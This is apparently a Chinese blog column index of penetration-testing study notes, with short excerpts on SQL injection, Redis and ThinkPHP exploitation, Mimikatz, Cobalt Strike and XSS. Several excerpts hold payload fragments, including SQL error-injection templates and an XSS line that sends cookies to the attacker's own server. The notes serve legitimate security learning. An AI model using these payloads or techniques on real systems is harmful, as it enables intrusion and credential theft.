渗透学习
文章平均质量分 76
渗透学习笔记
板栗妖怪
简单写写自己的学习过程
展开
-
记一次docker报错 Failed to start LSB: Create lightweight, portable, self-sufficient containers..
如果无法访问就挂一个代理,ubuntu有个工具proxychains,下载proxychains后,在这里/etc/proxychains.conf配置代理,将你的代理添加到最后一行。今天安装docker后安装了一下docker-compose,然后发现docker无法启动了查看一下报错日志。使用代理执行这个刚刚下载下来的东西,因为在执行的时候会访问一些网站需要代理。然后如果想要使用代理的话就在命令前加上proxychains,如下。然后docker就可以正常使用了。经过查询按以下方法解决。原创 2024-08-14 22:07:04 · 885 阅读 · 0 评论 -
sqli-labs1-24通关教程
二十四关是一个二次注入,他在username和password输入的时候是过率的,但是它在后面的操作是没有过滤的,且过滤并不是把代码去掉了,代码还是原来的代码不过是被转义了,但是你再取出来的话就又可以了。使用ascii喝substr尝试注入 ,substr将所获得的字符截取下来,ascii将截取下来的字母转化为ascii码。只要修改查询的数据就可以爆出不同的数据包括数据列表名等等,下面展示的是爆出password的结果。第二十四管寻找注入点,查看源代码,发现修改密码处没有被过滤,可以在此注入。原创 2024-08-06 07:39:56 · 712 阅读 · 0 评论 -
记一次学习--[网鼎杯 2018]Comment二次注入
看源码开关语句的结果等于write的结果,这里是没有办法注入的,这里的原因是应为categriy、title、content都被addslashes过滤函数保护了,当你提交了上面三个参数,他会将三个参数提交道数据库里面。sql变量中的category是没有过滤的,虽然他在插入数据库的时候是进行了过滤的,但是你要是插入了'的话插入的数据是被转义了,但是入库的时候‘是不会被转义的,也就是进入数据库后你的转义字符会消失。前面的'是为了闭合category的单引号,/*是为了注释掉下面的content。原创 2024-08-08 16:10:35 · 876 阅读 · 0 评论 -
记录一个绕过技巧
【代码】记录一个绕过技巧。原创 2024-08-12 03:23:53 · 443 阅读 · 0 评论 -
记一次学习过程(redis的编译安装,以及有关redis漏洞的学习,包括redis未授权写入ssh公钥、redis写入木马、redis主从复制漏洞linux版)同时记录几个威胁分析平台
这个东西的流程是你发现了一个网站,然后你扫描对方端口,发现6379端口开着,而且通过一些其他漏洞可以登陆上redis后,你在redis中执行操作获取webshell权限。测试公私钥的时候不要在你的攻击机子和redis的服务器的机子上测试,或者你把测试完成的文件在服务器上删掉,删掉之前记得保存。这个是你冒充redis的主服务器,让redis从服务器下载木马(这里使用工具)这是你已经连接上了redis,你在redis中操作,在redis中写入公钥。(下图是测试出现问题的情况,没出现问题的情况忘记截图了)原创 2024-08-03 22:41:18 · 927 阅读 · 0 评论 -
贷齐乐系统sql注入漏洞
然后在这里取值的时候.和_会区分开,然后我们可以在第一个i_d写我们的payload,在i.d写正常数据用来绕过waf。可以使用使用php小特性和全局污染绕过,在这里的时候会将.转换成下划线,然后桡骨第一个waf。这里由于等号被过滤乐所以使用like,然后查表名的时候由于'被过滤所以使用了16进制编码。首先php在遇到两个相同名字参数时,php是取后一个的,如下图最终i_d的值为1。代码先走这里将输入的数据进行过滤。然后再继续往下走,再进行一个查询。然后继续往下,用=进行分割。原创 2024-08-12 02:08:31 · 831 阅读 · 0 评论 -
thinkphp漏洞之sql漏洞
上面下载相应版本(下图中展示的5.0.15版本),下载think文件,下载framework文件,然后将framework文件修改名字为thinkphp,然后将修改后的framework放在think文件下,然后将think放在网站目录下,然后就可以打开了。parseArrayData拼接的值,这里是将你的注入语句用^与后面的('0(1)')进行拼接,或者使用|拼接也可以,这样的目的是为了mysql语法正确,这里对于后面的语句来说不重要,因为走到update的时候已经报错了。然后就会执行,报错出现注入。原创 2024-08-11 21:50:57 · 579 阅读 · 0 评论 -
无字母绕过webshell
但是抓取临时文件很难因为你上传上去后,没有接收文件,系统就会很快的删除掉你的文件,然后想要接收文件还需要知道文件名字,但是文件名是一个随机字符没有用办法接到。··反引号可以在eval中命令执行在这里的代码就是上面说的匹配上文件,再进行命令执行,然后由于这个是get传参所以需要需要进行url编码,然后就执行成功了。如果可以访问并执行临时文件,就可以进行命令执行了,我们在要上传的文件上写入你要执行的命令,如下图所示。在PHP7中我们可以使用('phpinfo')(),这样的代码执行,如下图。原创 2024-08-13 15:12:38 · 709 阅读 · 0 评论 -
PHP利用PCRE回溯次数
可以直接利用php弱语言的特性,strpos只能检测数组,你给他提交一个数组,然后 if(strpos($greeting,'Merry Christmas')!对于一串正则表达式来说它匹配了一系列的字符串后自身的正则还没有用完,这个时候就会触发回溯机制,超过回溯次数正则匹配就失效。当正则匹配道.*的时候整个字符串就都匹配到了,.*匹配完之后正则的匹配不会停止而是回溯接着完成[注意这个回溯对php版本是有要求的比如7.3就不行,因为7.3回溯失败返回的是’1‘原创 2024-08-09 01:28:09 · 465 阅读 · 0 评论 -
thinkphp漏洞之sql注入漏洞-builder处漏洞
这个代码中上面第一个红框将data数组中遍历,然后val中就是data的值,然后看第二个红框三个不同的参数对应不同的处理方式,这三个处理方式都可以进行注入,但是insert方法中会对exp进行过滤如果数据中存在 exp ,则会被替换成 exp空格,所以三种处理方式中选项等于exp的无法使用。这里是接收一个get传参,然后username/a的意思是有username传参username的值就是传参的值没有的话就是默认是a。看一下他的insert这个函数,数据传输是自己写的值。方法来分析并处理数据。原创 2024-08-09 23:36:21 · 652 阅读 · 0 评论 -
记录一次学习过程(msf、cs的使用、横向渗透等等)
在内网中攻击不出王的机子,比如说现在攻击者入侵了一个公司的DMZ,公司的DMZ上有两张网卡一张对外网,一张对内网,内网不出网,这样你即便将木马发送给了内网机器内网机器也无法反弹。这种情况就可以使用这个代理,在DMZ上设置了代理后,攻击者直接登陆DMZ,DMZ是可以访问内网的,然后攻击这个就可以访问内网了。切换的时候shell容易掉。TCP和SMB可以用于内网横向渗透,内网有两台机器,两台机器账号密码相同,就可以用这个直接上线,就相当于SMB是一个共享服务,机器通过SMB通道将木马共享。原创 2024-08-03 12:29:41 · 847 阅读 · 0 评论 -
记录一次环境的安装
首先在安装的时候,有一个dockerfile文件,将dockerfile中的内容拉取下来。但是报如下错误经过查询是这个源过期了。原创 2024-07-31 21:53:37 · 787 阅读 · 0 评论 -
记一些零碎的只是点和一些安全工具的使用(这里建议将漏洞原理搞清楚,然后可以尝试手动和使用工具)
现在很多框架是通过.jar服务启动的httpweb,无法使用普通木马,没办法执行,所以我们通过在内存里注入木马也就是让目标主机运行的过程中在内存里放一段特殊的payload,我们可以通过这段payload可以命令执行。shiro是通过jar包启服务,它完全没有通过http服务去启动,它都是集成到一个网站里面使用,所以我们一般是通过一些请求包去发现它的。这个东西也不是很好找到,清理的话比较简单,重启服务,通过什么服务启动就重启什么服务,或者重启服务器,重启服务器后内存里面的东西都没有了,所以内存马也不见了。原创 2024-08-01 22:58:43 · 1022 阅读 · 0 评论 -
EVAL长度突破限制
往目录下写文件,然后将一串base64编码追加进去,为啥要用base64是因为一些特殊字符在file_get_content追加不了的。首先输入eval,限制param不能超过17位然后,这个输入里面不能包含eval和assert。追加后的值,这个base64编码解码后的值是原创 2024-08-12 04:49:46 · 404 阅读 · 0 评论 -
cmseasy漏洞之未授权访问漏洞和sql注入漏洞
下图中到码对args参数首先经过了base64解码,然后经过了一个框架中所带xxtea_decrypt方法的解密,在之后到$user参数时又经过了一次反序列化,所以我们构造的payload就需要将上述过程反着来一遍这样当参数传入进来的时候才可以经过一列加解密转化为我们正常的注入语句。将其解压部署在服务器上后,访问\uploads\install这个路径,然后页面就会显示让你安装,然后按照页面提示修改php版本和mysql版本,然后设置你的数据库参数,最后设置你管理员账号密码就可以安装了。原创 2024-08-10 21:14:03 · 1142 阅读 · 0 评论 -
SQL注入之post注入
GET请求的参数是通过URL传输的,而URL的长度往往被浏览器所限制,通常为2048个字符,因此GET请求的参数传输长度是被限制的。GET请求可以被缓存,因为GET请求是幂等的,即多次相同的GET请求对服务器的状态没有影响,可以使用缓存来提高性能。POST请求不是幂等的,多次相同的POST请求会对服务器的状态产生影响,可能会改变服务器的数据。GET请求是幂等的,即多次相同的GET请求对服务器的状态没有影响,不会改变服务器的数据。GET请求通过URL的请求行来提交数据,这些数据在URL中是可见的。原创 2024-05-21 08:03:35 · 1042 阅读 · 0 评论 -
初识sql注入--手工注入
SQL注入攻击是一种常见的网络安全威胁,主要针对使用结构化查询语言(SQL)进行数据库操作的应用程序。通过利用应用程序对用户输入数据的不正确处理,攻击者可以在SQL查询中注入恶意代码,从而达到恶意目的。原创 2024-05-12 05:12:57 · 775 阅读 · 1 评论 -
arp欺骗详解
当一台设备在局域网中想要与另外一台设备进行通信,设备双方需要知道对方的MAC地址,如何获取对方的MAC地址就需要用到arp协议。下面用例子来解释一下:在同一广播域中,已知某一台设备的IP,不知MAC。假设a传消息给b,a已知b的IP,不知b的MAC。a会发送一个arp请求包,在同一个广播域的设备都会收到这个这个请求包,这时arp请求包的mac为全F,同时这个广播域的设备会将刚刚发来消息的设备a的IP和MAC的对应关系记录下来,但是不做其他操作。原创 2024-04-30 22:45:51 · 2115 阅读 · 1 评论 -
sql注入之bool盲注
二分法的思想很简单,因为整个数组是有序的,数组默认是递增的。首先选择数组中间的数字和需要查找的目标值比较如果相等最好,就可以直接返回答案了如果不相等如果中间的数字大于目标值,则中间数字向右的所有数字都大于目标值,全部排除如果中间的数字小于目标值,则中间数字向左的所有数字都小于目标值,全部排除。原创 2024-05-12 07:41:20 · 600 阅读 · 2 评论 -
SQL注入之时间盲注
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。对于基于时间的盲注来说,我们构造的语句中,包含了能否影响系统运行时间的函数,根据每次页面返回的时间,判断注入的语句是否被成功执行。原创 2024-05-20 23:54:32 · 511 阅读 · 0 评论 -
内容安全策略CSP--Content-Security-Policy
Content Security Policy(CSP)是一种Web安全机制,。它通过允许网站管理员定义和实施一系列安全策略,限制页面加载和执行的内容来源,以减少潜在的安全风险。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP是一个额外的安全层,用于检测并削弱某些特定类型的攻击,使WEB处于一个安全的运行环境中。原创 2024-05-02 23:49:08 · 758 阅读 · 3 评论 -
Web服务器手动配置
在进行配置之前先来解释一下HTTPS是什么,HTTP由于是明文传输,所以通过HTTP协议传输的网页容易受到窃听、篡改、冒充的风险。HTTPS在应用层和传输层之间添加了一个TLS协议,用TLS协议来加密数据,这样HTTPS使用HTTP来进行通信,使用TLS来加密数据。配置入图下,这里只是简单演示一下,如果有其它的功能需要,按照上面的配置文件中的说明自主添加。这里为了演示只在网页中写了https这个字符串,大家可以根据自己的需要配置。我这里是创建了一个目录/www/https,然后在目录下创建自己的网页。原创 2024-05-05 22:08:16 · 981 阅读 · 0 评论 -
LLMNR协议、MDNS协议、NBNS协议
MDNS全称Multicast DNSMDNS协议是一种在局域网内实现设备和服务自动发现的协议。具体来说,它允许设备在无需依赖中央服务器或配置文件的情况下,通过组播地址发送和接收DNS查询和响应,从而发现局域网中的其他设备和服务。MDNS协议基于DNS(协议,但使用组播地址来进行通信,因此能够在局域网中快速且高效地实现服务发现。当设备启动时,它会发送一个MDNS查询,询问局域网中是否有其他设备或服务可用。如果其他设备知道所需的名称,它们会回复一个MDNS响应,提供相应的IP地址。原创 2024-05-01 22:48:39 · 1696 阅读 · 2 评论 -
HTTPS原理
有了这个锁,路人就没有办法去修改小帅和小美的的小纸条,因为在传输过程中就算路人复制了钥匙,想要去修改锁里面的内容,之后也没有办法加锁,因为路人用复制的钥匙加锁后,再用复制的钥匙就解不开了。将自己研发出的双钥匙锁中的一把传给了小帅,小帅不知道。小帅又开始冥思苦想他想到了最开始的那把锁,那把锁用起来比较简单,他想着用单双钥匙进行配合使用,首先由小美设计出来一把双钥匙锁,然后我这边准备一个单钥匙锁,小美给小帅传一把钥匙,然后小帅用小美给的钥匙将单钥匙锁加锁传给小美,这样我们就可以安安稳稳的传递消息了。原创 2024-05-01 20:44:06 · 1049 阅读 · 0 评论 -
Wireshark明文抓取
但需要注意的是,这个对称密钥是临时协商出来的,每次访问时都可能改变,因此,如果仅参与传输过程而不参与到客户端或服务器端,是无法获取当时的对称密钥的。当启用了SSLKEYLOGFILE配置,系统会将所有SSL/TLS会话中使用的密钥记录到指定的文件中。例如,在谷歌浏览器中,HTTPS协议中的对称密钥会保存在SSLKEYLOGFILE中,这是一个Windows环境变量,其值为自定义的一个文本文件。2.1点击编辑,再点击编辑里的首选项,选择其中的TLS,将下面框中的路径填写为刚刚的变量路径。原创 2024-05-06 20:45:49 · 626 阅读 · 0 评论 -
SQL注入之无列名注入
当information_schema 被过滤了,那就意味着不能很容易的查到表名,列名,字段名了。原创 2024-05-16 17:57:23 · 415 阅读 · 0 评论 -
在进行SQL注入时遇到UPDATE语句时注意事项
例如,将一个字符串值与一个 DOUBLE 类型的列进行比较或运算,或者将一个非数字字符串转换为 DOUBLE 类型时。但是有一种情况,就是里面注入的sql语句如果时系统函数的话,他是可以显示出系统函数的结果的,原因就是系统函数的优先级比较高,Mysql在发现系统函数的话就会执行系统函数。若使用下列代码,会出现不报错也不显示的结果。在update进行判断时他会将下面的语句用括号括起来然后再进行判断,下列语句在遇到1的时候就判断正确。在注入时注入语句应该如下图,要使用1和报错函数连接。原创 2024-05-21 09:31:53 · 351 阅读 · 0 评论 -
Mimikatz安装 lsass进程 SAM NTML
Mimikatz是一款开源的Windows安全工具,由法国安全研究员Benjamin Delpy开发。它最初被设计为用于学习C语言和进行Windows安全性实验的工具。然而,由于其强大的功能,它也可以用来从Windows系统中提取敏感信息,如明文密码、哈希值、PIN码和Kerberos票据等。总的来所它可以获取windows系统内存的密码,提供其他域的攻击方式。原创 2024-05-14 22:01:51 · 1013 阅读 · 0 评论 -
SQL注入之报错注入
(select 1 from (select count(*),concat(注入语句,floor(rand(0)*2))x from information_schema.tables group by x)a)我们可以使用limit来查看是否将所有表名全部爆出(上面的例子爆出来的数据是全的,下面是演示如何用limit爆出来数据)gtid_subtract(concat(0x7e,注入语句,0x7e),1)updatexml(1,concat(0x7e,注入语句,0x7e),1)原创 2024-05-18 15:13:28 · 880 阅读 · 0 评论 -
Burp Suite抓取明文
如果按照上面的步骤进行配置后,那么burp suite只可以抓取http的数据,想要抓取https的数据,需要安装证书。但是burp suite不是合法的数字证书认证机构,想要抓取https的数据,需要伪造公钥证书,获取客户端的信任。用来验证客户端得到的证书是合法的。将代理设置到自己本机,然后客户端在向服务端发起请求的时候会经过代理,然后你可以在代理上面对发送的请求进行修改,同理在服务端回应客户端请求的时候,代理也可以拦截,然后进行对回复的数据进行修改。或者在浏览器的设置中搜索证书,浏览器中进行安装。原创 2024-05-08 20:36:36 · 474 阅读 · 0 评论 -
php反序列化的一些知识
php反序列化的时按理说找不到A这个类,但是他没有报错,且反序列化过后得到的值依然为原来的值。原创 2024-06-20 22:24:23 · 320 阅读 · 0 评论 -
XSS+CSRF组合拳
(案例中将使用cms靶场来进行演示)在实战中CSRF利用条件十分苛刻,因为我们需要让受害者点击我们的恶意请求不是一件容易的事情。所以单单一个CSRF漏洞危害是很小的,所以我们为了扩大危害,就需要借助XSS漏洞与之配合。我们利用XSS漏洞让受害者执行JS代码,JS代码有发起请求的功能,借此功能我们配合CSRF漏洞达成我们的攻击。我们利用XSS执行JS代码的时候发起我们构造的恶意请求,从而能达到让受害者无感知地受到攻击。如何通过js发起请求,具体来说有以下步骤创建实例发出 HTTP 请求。原创 2024-06-20 15:08:14 · 584 阅读 · 0 评论 -
PHP中单引号双引号
在 PHP 中,字符串可以用单引号(')或双引号(")括起来,但它们对变量和特殊字符的处理方式是不同的。原创 2024-07-01 16:11:09 · 278 阅读 · 0 评论 -
CVE-2024-23692: Rejetto HTTP File Server 2.3m Unauthenticated RCE漏洞复现
Rejetto是一个流行的开源软件项目,主要是一个轻量级的HTTP文件服务器软件。它最著名的应用是HFS(HTTP File Server),这是一个免费的Web服务器软件,专门用于共享和传输文件。HFS(HTTP File Server)允许用户通过浏览器访问和下载存储在计算机上的文件。它非常轻量级,易于安装和配置,适合个人用户或小型团队在局域网内共享文件。HFS具有简洁的界面和基本的文件管理功能,可以通过简单的设置实现文件夹的共享和访问控制。原创 2024-07-11 17:45:33 · 450 阅读 · 0 评论 -
CobaltStrike基本渗透
CobaltStrike(简称CS)是一款专业的团队作战渗透测试工具,包含客户端和服务端两个部分。原创 2024-05-31 13:53:22 · 942 阅读 · 1 评论 -
深入理解浏览器解析机制和XSS向量编码(转自安全客)
简而言之,作为攻击者为了弄明白如何让XSS向量逃逸出上下文,或者为了使你的应用能够正确编码用户的输入,你必须真正明白浏览器的解析原理以及它们(HTML,URL和JavaScript解析器)是如何协同工作的。只有这样,你才能从浏览器的角度去正确编码你的向量。本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。转载 2024-06-15 16:17:20 · 182 阅读 · 0 评论 -
命令执行漏洞
曾经有一次渗透,我用dirmap扫描了他网站的一个根目录,发现了他有一个源码的打包,我拿下来以后,我发现他对正则表达式写了一个pre_replace的值,正好符合这个回调后门,然后实施了入侵。这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。是 PHP 中的一个内置函数,用于使用指定的回调函数过滤数组中的元素。下列代码就是一个无回显的一个调用,但是由于是没有回显的所以,我们可以用来进行一些命令执行的代码,比如说创建一个文件什么的。的内部数组进行排序。原创 2024-07-01 16:56:50 · 892 阅读 · 0 评论 -
XSS漏洞
XSS(跨站脚本攻击)是一种网络安全攻击,攻击者通过在网页中注入恶意脚本,使得受害者在访问网页时执行这些恶意脚本,进而达到窃取敏感信息、篡改页面内容等目的。当受害者访问含有恶意脚本的网页时,浏览器会解析并执行这些脚本。由于浏览器无法区分这些脚本是否为恶意,因此会按照正常的代码执行。原创 2024-06-13 19:27:53 · 170 阅读 · 0 评论 -
sql注入之宽字节注入
我们注入点输入 ' 时,如果有相应的过滤函数,服务器端会进行处理将 ' 变成 \'。我们再%5C%27前加入%df,如果服务器端是CBK编码的话,服务器端就会认为%df和%5C是一个中文而%df%5C是汉字 連 ,这样 ' 就逃逸出去了。接下来就可以进行注入了。服务器端在使用CBK编码时,GBK编码中某些字符与\编码组合可以被解析为一个汉字。我们可以借助这个特性使得\和前边的字符融合成一个汉字,使得'逃逸出去,从而达成我们注入的目的。相反,使用更通用的字符集(如UTF-8)可以减少与字符编码相关的问题。原创 2024-06-12 17:56:28 · 373 阅读 · 0 评论 -
xss一些笔记
服务端会将你的文件名返回给你的客户端,保存在你客户端的cookie,当你二次登陆时浏览器会带着你的cookie进入到服务端,服务器就会在自己的文件中找有没有你cookie名字的文件。xss payload 构造<script>doument.location.href=“自己服务器地址/cookie.php?document.location.hash.slice(1)//获取#号后的部分,不包括#号。document.location.hash // #号后的部分,包括#号。原创 2024-06-19 23:02:07 · 370 阅读 · 0 评论